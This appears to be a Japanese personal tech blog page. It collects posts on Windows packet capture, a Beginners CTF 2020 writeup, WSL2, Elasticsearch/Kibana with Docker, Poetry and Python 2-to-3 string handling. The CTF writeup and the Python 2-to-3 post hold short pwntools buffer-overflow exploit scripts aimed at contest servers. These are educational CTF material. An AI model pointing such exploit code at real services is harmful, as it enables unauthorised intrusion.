windowsでデフォルトのツールだけで頑張ってパケットキャプチャをする

ちょっと仕事でwindowsサーバーで動く商用のシステムからhttpsのクエリストリングとか調べてよ!って言われてどーすんのよこれって思って調べながらやってみたので、メモレベルで残す

前提条件

  • powershellが動かせる環境があること
  • windowsサーバ自体には管理者権限でアクセスできること

パケットキャプチャ

netshコマンドを使う - 開始

netsh trace start capture=yes
  • 終了
netsh trace stop

コマンドそれぞれで結構時間がかかる
デフォルトだと以下のパスに出来上がる。

C:\Users\<ユーザー名>\AppData\Local\Temp\NetTraces\NetTrace.etl

pcapに変換

github上とかにも結構ある。自分はこれを使ってpowershellで変換した。

tsharkで確認

wireshearkがGUIで使える環境があればいいが、tsharkならGUIで確認することができる。

tshark -r <filename> 

でパケットを確認することができる。

Beginners CTF 2020のwriteupを書く

最近CTF出てないなーと思ったので、久しぶりにBeginners CTF 2020に参加したので、writeupを書くことにした。 ちなみに、結果は507点で184位でした。Webを触りきらなかった。

pwn

Beginner's Stack

実行させると、アドレス位置が表示されてあからさまにwin関数に飛ばすように出てくる。いかにもその通りにbofを実行させればよいように見えるが、rspが0x10の倍数でないとダメになっている。が、先頭のpushで8バイトズレてしまうため、弾かれてしまう。ropを挟むのが本来の回答と思われるが、面倒だったので以下のスクリプトでダイレクトに0x4008B8に飛ばしてしまった。 f:id:chari589:20200614220152p:plain

from pwn import *

HOST = "bs.quals.beginners.seccon.jp"
PORT = 9001

# remote execute
conn = remote(HOST, PORT)

payload = b''
payload += b'a' * 40

payload += p64(0x4008B8)
print(payload)
conn.recvuntil('Input:')
conn.sendline(payload)
conn.interactive()

bin/shが勝手に起動するため、後はいつも通りに

Congratulations!
$ ls
chall
flag.txt
redir.sh
$ cat flag.txt
ctf4b{u_r_st4ck_pwn_b3g1nn3r_tada}

binary

R&B

problem.pyを見るとRBでrot13とbase64decodeを繰り返している。 スクリプト書いて逆変換かけたら出てきた。

import base64
import codecs

data = ""
with open("encoded_flag", "r") as f:
    data = f.read()
roop = True
while roop:
    roop = False
    if data[0] == "B":
        data = base64.b64decode(data[1:].encode('utf-8')).decode('utf-8')
        roop = True
    if data[0] == "R":
        data = codecs.decode(data[1:], 'rot13')
        roop = True

print(data)
ctf4b{rot_base_rot_base_rot_base_base}

Reversing

mask

IDAを見ていると文字列に対してそれぞれ2つのANDをかけて以下のように比較していることがわかる

  • 0x75でANDを取り、atd4 `qdedtUpetepqeUdaaeUeaqau と一致する
  • 0xEBでANDを取り、c`b bk`kj`KbababcaKbacaKiackiと一致する

ということは以下の通りにすると復元できる

>>> a = 'atd4`qdedtUpetepqeUdaaeUeaqau'
>>> b = 'c`b bk`kj`KbababcaKbacaKiacki'
>>> s = ''
>>> for i in range(len(a)):
...  s += chr(ord(a[i]) | ord(b[i]))
>>> print(s)
ctf4b{dont_reverse_face_mask}

yakisoba

IDAでどうしようかと思って眺めていたらたまたま}でretしている箇所があった。もしかしたらこれ辿っていけそうとか思ったので、レジスタを参照しているであろう箇所をすべて辿る超力業を実行した。angrとか使おうよ・・・

ctf4b{sp4gh3tt1_r1pp3r1n0}

Misc

emoemoencode

絵文字が出てくる

🍣🍴🍦🌴🍢🍻🍳🍴🍥🍧🍡🍮🌰🍧🍲🍡🍰🍨🍹🍟🍢🍹🍟🍥🍭🌰🌰🌰🌰🌰🌰🍪🍩🍽

これらの文字の下2ケタがasciiの文字コードと対応しているため、対応を見ていけばよい。

ctf4b{stegan0graphy_by_em000000ji}

WSL2に切り替えてみた

Windows 10 2004 May 2020がリリースされた。個人的に一番大きいのはWSL2がついに使えるようになったことなので、早速既存のWSL環境を更新してインストールしてみた。 https://docs.microsoft.com/ja-jp/windows/wsl/install-win10

既存のWSLをWSL2に更新する。

  • 今の状態を確認する
PS C:\Users\user> wsl -l -v
  NAME            STATE           VERSION
* Ubuntu-18.04    Running         1
wsl --set-version Ubuntu18.04 2

しばらく時間がかかるが、これで変換が完了する。

apt-getの謎

https://github.com/microsoft/WSL/issues/5334
上記のissueにある通り、なぜかapt-getTemporary failure resolvingが乱発して失敗する。

とりあえずは 起動時にresolv.confの設定を変更して対応ができるが、何とかならんものかなぁと思う。 - やり方その1

echo "nameserver 8.8.8.8" | sudo tee /etc/resolv.conf
  • やり方その2
sudo su
sudo echo "nameserver 8.8.8.8" >> /etc/resolv.conf

elasticsearchとkibanaを手元の環境で立ててみた

elasticsearchとkibanaを手元の環境で立ててみた

最近elasticsearchとkibanaを触る機会がかなり増えたので、手元で検証する環境が欲しいなーと思ったので作ってみた

環境

  • windows10
  • docker 19.03.8
  • docker compose :
  • elasticseach, kibana : 7.5.2

docker composeの準備

参照 複数のコンテナをまとめてアプリケーションとして定義するためのツール。今回はこれにelasticsearchとkibanaをまとめて作成する

Invoke-WebRequest "https://github.com/docker/compose/releases/download/1.25.5/docker-compose-Windows-x86_64.exe" -UseBasicParsing -OutFile $Env:ProgramFiles\docker\docker-compose.exe
PS D:\hoge\es-compose> docker-compose version
docker-compose version 1.25.4, build 8d51620a
docker-py version: 4.1.0
CPython version: 3.7.4
OpenSSL version: OpenSSL 1.1.1c  28 May 2019

実行する

compose.yamlを配下で実行する

docker-compose up -d

ちゃんと立ち上がればコンテナが2つ立ち上がる。

注意

初回起動時にesとkibanaが同時に立ち上がらない場合、connection情報が残ったりして接続に失敗することがあるので永続化した情報を削除するといった対応が必要となる

compose.yamlファイル

version: "3.7"

services:
  elasticsearch:
    image: docker.elastic.co/elasticsearch/elasticsearch:7.5.2
    environment:
      - discovery.type=single-node
      - cluster.name=docker-cluster
      - bootstrap.memory_lock=true
      - "ES_JAVA_OPTS=-Xms1g -Xmx1g"
    ulimits:
      memlock:
        soft: -1
        hard: -1
    ports:
      - 9200:9200
    volumes:
      - D:\elasticsearch\data:/usr/share/elasticsearch/data
  kibana:
    image: docker.elastic.co/kibana/kibana:7.5.2
    ports:
      - 5601:5601
    volumes:
      - D:\elasticsearch\kibana\kibana.yml :/usr/share/kibana/config/kibana.yml

参考

https://docs.docker.com/compose/compose-file/
https://www.elastic.co/guide/en/elasticsearch/reference/7.5/docker.html
https://www.elastic.co/guide/en/kibana/7.5/docker.html#docker

poetryの概要を書いてみた

Poetryとは

Pythonのパッケージ管理ツールの1つ。他の有名どころだとpipenvとかpyflowとか。 ドキュメントは以下にあります。
https://python-poetry.org/
久々に見たら公式サイトが超かっこよくなってる

特徴

  • pyproject.tomlpoetry.lockのファイル2つだけで管理ができるので、かなりシンプル
  • 依存関係周りの解決がpipenvよりも強力かつ高速(個人的にはそう思ってるが、客観的なデータ無いのが気になる)
  • コマンドがシンプル

実際に導入してみる

非常に簡単で、以下のコマンド一発で導入できる。 特に指定しなければ以下の通りhomeフォルダの配下に出来上がる。

user@hostname:/mnt/c/Users/user$ curl -sSL https://raw.githubusercontent.com/python-poetry/poetry/master/get-poetry.py | python
Retrieving Poetry metadata

# Welcome to Poetry!

This will download and install the latest version of Poetry,
a dependency and package manager for Python.

It will add the `poetry` command to Poetry's bin directory, located at:

$HOME/.poetry/bin

This path will then be added to your `PATH` environment variable by
modifying the profile file located at:

$HOME/.profile

You can uninstall at any time by executing this script with the --uninstall option,
and these changes will be reverted.

Installing version: 1.0.5

  - Downloading poetry-1.0.5-linux.tar.gz (23.37MB)


Poetry (1.0.5) is installed now. Great!

To get started you need Poetry's bin directory ($HOME/.poetry/bin) in your `PATH`
environment variable. Next time you log in this will be done
automatically.

To configure your current shell run `source $HOME/.poetry/env`

インストール後に再ログオンすると自動で設定されるが、すぐに使いたい場合は以下の設定をするとよい

user@hostname:~$ . ./bash_profile

ただし、デフォルトの設定だとvenvを開発環境ではなく個人の環境に作ってしまう 導入時に以下のコマンドでvenvの作成場所を各プロジェクト単位に作ったほうが楽と思われる

user@hostname:~$ poetry config --list
cache-dir = "/mnt/c/Users/user/linux_home/.cache/pypoetry"
virtualenvs.create = true
virtualenvs.in-project = false
virtualenvs.path = "{cache-dir}/virtualenvs"  # /mnt/c/Users/user/linux_home/.cache/pypoetry/virtualenvs
user@hostname:~$ poetry config virtualenvs.in-project true

プロキシ環境や非接続環境での導入

推奨となるインストールスクリプトはproxyを通さない通信を行うため、以下のいずれかの対応が必要となる - プロキシサーバーがある場合pip経由でインストールするpip install poetry --proxy https://hogehoge - tarファイルと直接持ち込んで展開する

基本的な使い方

基本的には以下のコマンドが扱えれば、おおよそ扱うことができる。

新規にpyproject.tomlを作成する

poetry init

基本的には聞かれるままに進めていくとよい。

パッケージを追加する

poetry add hogehoge

開発環境のみに導入する場合は以下のコマンドで対応できる。

poetry add hogehoge --dev

パッケージを削除する

poetry remove hogehoge

pyproject.tomlからvenvを作成する

poetry install

開発環境用のパッケージを含めないようにするには以下を使える

poetry install --no-dev

poetryの環境で実行する

poetry run hogehoge.py

覚えると便利そう

複数のプロジェクトを一つの環境で管理する

複数のプロジェクトで使用する環境を一つで管理し複数建てたいといった要望がある場合、以下のような対応ができる ちゃんと分けろよ!という突っ込みが出るかもだけど・・・
- 分ける必要があるものをoptionalでインストール

poetry add elasticsearch --optional
poetry add elasticsearch-dsl --optional
  • [tool.poetry.extras]を追記し、名前と必要なモジュールを定義(※[tool.poetry.dependencies]のすぐ下に作らないと動かなそう)
[tool.poetry]
name = "test"
version = "0.1.0"
description = ""
authors = ["Your Name <you@example.com>"]

[tool.poetry.dependencies]
python = "^3.6"
elasticsearch = {version = "^7.6.0", optional = true}
elasticsearch-dsl = {version = "^7.1.0", optional = true}

[tool.poetry.extras]
es = ["elasticsearch"]
es-dsl = ["elasticsearch-dsl"]

[tool.poetry.dev-dependencies]

[build-system]
requires = ["poetry>=0.12"]
build-backend = "poetry.masonry.api"

上記の定義だとpoetry install -E es-dslelasticsearch-dslのみが入ったモジュールが構成できる

requirementsを出力する

諸事情でrequirementsを出力させたい場合は、以下のコマンドで出力できる。

poetry export -f requirements.txt > requirements.txt

使ってて気になった点

更新が圧倒的に早い

比較的頻繁に改良されていることもあり、環境にpoetryを導入するようなコンテナを立てると気づいたらバージョンが変わってたりする。poetry起因で落ちることもあるので、安定的に動かすにはバージョン指定を推奨。(configの設定箇所が突如変更になりdockerfileでコケた経験有)

依存関係の解決状態がわからなくなることがある

通信が不安定な環境で、installaddで妙に時間がかかっている場合は-vオプションで実行ログを表示させるとよい。依存関係の誤りで無限ループしていたりすることがある(pyprojectを直で編集しているとたまに起こる)。

python2系から3系への移行で困ったstrの話

この記事は、品川 Advent Calender 2019の記事です。
2系で動くものはまだまだ多いですがpython2系のサポートが2020/1/1までと、終了まであと1週間を切ってます。 結局2019/4/1まで延びるらしいですね。参考ページ
とはいえ、残りが3か月程度ということもあり、最近結構な頻度でpython3への変換をやったりすることがあるのですが、オブジェクトの扱いを変化をあまり理解しておらず、 変換した後に想定通りの動作をせずハマってしまったことが何度かあったため初心者向けの話には近いところですが、記事を書いてみることにしました。

個人的に言いたいこと

やったこと

自宅のCTF用に使用しているVM環境とソースコード類を2to3を使って変換していこうと思っていた。 試しに以前CSAW CTF予選に出場した際に書いた以下のソースに適用した。
baby_boy.py

from pwn import *
import time

HOST = "pwn.chal.csaw.io"
PORT = xxx # dummy
conn = remote(HOST, PORT)


conn.recvuntil('Hello!\n')
recieve_address = conn.recvline().strip().split() # recieve binary
printf_address = int(recieve_address[3],16) 
printf_offset = 0x64e80
libc_base = printf_address - printf_offset 
one_gadget = 0x4f322

payload = ('A'* 40) + p64(libc_base + one_gadget) # str + bytes
conn.sendline(payload) # send_binary
conn.interactive()

変換した実行ログは以下のようになる。

$ 2to3 baby_boi.py     
RefactoringTool: Skipping optional fixer: buffer
RefactoringTool: Skipping optional fixer: idioms
RefactoringTool: Skipping optional fixer: set_literal
RefactoringTool: Skipping optional fixer: ws_comma
RefactoringTool: No changes to baby_boi.py
RefactoringTool: Files that need to be modified:
RefactoringTool: baby_boi.py

要するに修正する箇所は無いらしい。
ただし、これをpython3で動かすと以下の通りにエラーが出て実行できない。※1

Traceback (most recent call last):
  File "baby.py", line 16, in <module>
    payload = ('A'* 40) + p64(libc_base + one_gadget) # str + bytes
TypeError: must be str, not bytes

何が起こっているか

エラーログを見ての通り、 strとbytesで型が違うと怒られている。この変化は以下のような違いが関連している。

python2

python2では文字列を扱うにあたりstrとunicodeの2つのタイプがある。

  • python2のstrではバイト列であり文字コードに関する情報を持っていない
  • unicodeとして扱うためにはunicode型(u'...')を使用して明示的に指定する必要がある。
    unicodeとstrの行き来をする際にはdecode,encodeメソッドが必須。

実行例

>>> type(u'abc')
<type 'unicode'>
>>> type('abc')
<type 'str'>
>>> type(b'abc')
<type 'str'>

python3

一方で、python3の場合は以下のような特徴を持つ

  • strはデフォルトでunicode文字列として扱う
  • バイナリデータを扱うためにはbytes型(b'...')を使用して明示的に指定する必要がある。 strとbytesの行き来をする際にはdecode,encodeメソッドが必須。

実行例

>>> type(b'abc')
<class 'bytes'>
>>> type('abc')
<class 'str'>
>>> type(u'abc')
<class 'str'>

そのため、python2系ではbytes同士の以下のような比較が成立してしまう。

>>> b'abc' == 'abc'
True

一方で、python3の場合はbytesとstrで型が異なるため以下のようになる。

>>> b'abc' == 'abc'
False

ざっくりまとめると以下のように扱うとよい

扱う文字列 python2 python3
byte str bytes
str(unicode以外) str str
str(unicode) unicode str

2系から3系への移行時に注意すべきこと

この扱いの変化は非常に厄介(個人的に2系から3系への変換で一番面倒だと思っている)と考えるのは、以下のような特徴があるからです。

  • コードの静的チェックや2to3等の変換ツールでの発見が基本的には不可能
  • 比較に至ってはTrue/Falseが変化するだけで処理によってはエラーすら出力されないこともあるため、別のところでバグが起きて気づくケースがほとんどである

結局文字コードの扱いについては機械が見て判断できるものではないからツールで変換することは難しく、 最終的には人の目で見て解決するしかないのでしょうね。

余談

  • 1週間後に別の環境で2to3を使って移植した時にはpytestが想定通りに通らず、これが原因だということに気づくまで半日くらい頭を抱えていた。
  • 自分の持っているpython2コードは結局ほとんどやらなかった
※1 すでにサーバーが停止している様なので、現状では9行目で何も動かなくなる

始めてみた

最終日だけ空いていた品川アドベントカレンダーに飛び入り参加することになったので、 せっかく書くなら自分でも簡単なブログをはじめてみようと思って、登録してみました。 今月初めには作ろうと思ってたら、仕事が忙しすぎてなんと開設が3日前という超ギリギリになっちゃいました。

主にCTFとかpythonとか、アジャイル開発のこととか技術系のことをメインで書いていければなーと。